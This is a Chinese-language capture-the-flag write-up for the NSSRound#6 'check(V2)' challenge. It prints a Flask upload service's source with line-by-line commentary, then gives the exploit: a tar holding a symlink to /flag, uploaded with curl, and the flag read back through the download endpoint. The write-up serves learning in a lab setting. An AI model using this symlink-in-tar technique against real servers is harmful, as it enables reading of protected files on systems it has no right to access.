Problem: [NSSRound#6 Team]check(V2)
直接把源代码给我们了
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('su ctf -c /tmp/clean.sh')
return 'success'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
我菜,直接一行行解释代码
app = Flask(__name__) # 创建Flask应用实例
app.config['UPLOAD_FOLDER'] = './uploads' # 设置上传文件存放的目录
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 # 设置最大上传文件大小为100KB
ALLOWED_EXTENSIONS = set(['tar']) # 设置允许上传的文件扩展名为tar
第一部分是声明一个网站,作用是可以接受文件,并且是存放在/upload这个目录下
从这里可以看出来,因为是后端的检测,所以前端绕过并不启用,可以尝试双写或者是直接在tar文件里面加东西
def allowed_file(filename):
# 定义allowed_file函数,检查文件名是否合法,即是否包含扩展名且扩展名在允许的集合内
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
检查文件名是否合法,分割依次,要求分割后是tar文件,双写应该没戏
@app.route('/')
def index():
# 定义路由为根目录的视图函数index,读取当前文件内容并返回
with open(__file__, 'r') as f:
return f.read()
就是读取当前文件内容,没什么好说的
@app.route('/upload', methods=['POST'])
def upload_file():
# 定义路由为/upload的视图函数upload_file,处理文件上传请求
if 'file' not in request.files:#这个file是POST传入的参数
# 检查请求中是否包含文件
return '?'
file = request.files['file']
if file.filename == '':
# 检查文件名是否为空
return '?'
print(file.filename)
# 打印文件名
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
# 检查文件是否合法,即..不能在文件里面,/不能再文件里面
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
# 构建文件保存路径
if os.path.exists(file_save_path):
# 检查文件是否已存在
return 'This file already exists'
file.save(file_save_path)
# 保存文件
else:
return 'This file is not a tarfile'
# 如果文件不合法,返回错误信息
try:
tar = tarfile.open(file_save_path, "r")
# 打开tar文件
tar.extractall(app.config['UPLOAD_FOLDER'])
# 解压tar文件到指定目录
except Exception as e:
# 捕获解压过程中可能出现的异常
return str(e)
# 返回异常信息
os.remove(file_save_path)
# 删除原始tar文件
return 'success'
# 如果上传、解压和删除过程成功,返回'success'
既然有解压的命令,那么就要想到经典的linux软链接,即在linux中写一个命令
ln -sf /flag flag_link
tar -cf flag_archive.tar flag_link
curl -X POST -F "file=@flag_archive.tar" http://node5.anna.nssctf.cn:27453/upload
然后抓包,访问/download,最后直接POST传入filename=flag_link
